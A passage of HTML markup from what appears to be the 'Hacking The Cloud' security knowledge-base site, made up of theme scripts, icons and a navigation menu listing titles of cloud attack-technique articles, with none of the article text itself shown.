8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ 